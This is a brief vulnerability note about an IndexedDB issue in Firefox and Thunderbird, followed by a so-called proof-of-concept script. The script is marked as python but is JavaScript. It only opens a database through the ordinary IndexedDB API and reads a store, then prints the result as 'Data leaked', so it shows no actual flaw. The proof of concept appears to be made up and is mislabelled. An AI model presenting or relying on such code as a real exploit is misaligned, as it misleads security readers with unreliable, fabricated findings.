Other issue in the Storage: IndexedDB component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
// PoC Concept for IndexedDB Information Leak
// This script attempts to open a database and read potentially sensitive data
// to demonstrate the access control issue in IndexedDB.
const dbName = "target_db";
const request = indexedDB.open(dbName, 1);
request.onerror = function(event) {
console.log("[PoC] Database error: " + event.target.errorCode);
};
request.onsuccess = function(event) {
const db = event.target.result;
console.log("[PoC] Database opened successfully");
// Attempt to read data from an object store
const transaction = db.transaction(["sensitive_data"], "readwrite");
const objectStore = transaction.objectStore("sensitive_data");
const objectRequest = objectStore.getAll();
objectRequest.onsuccess = function(event) {
console.log("[PoC] Data leaked: " + JSON.stringify(event.target.result));
};
};
// Trigger the vulnerability logic
console.log("[PoC] Checking IndexedDB access patterns...");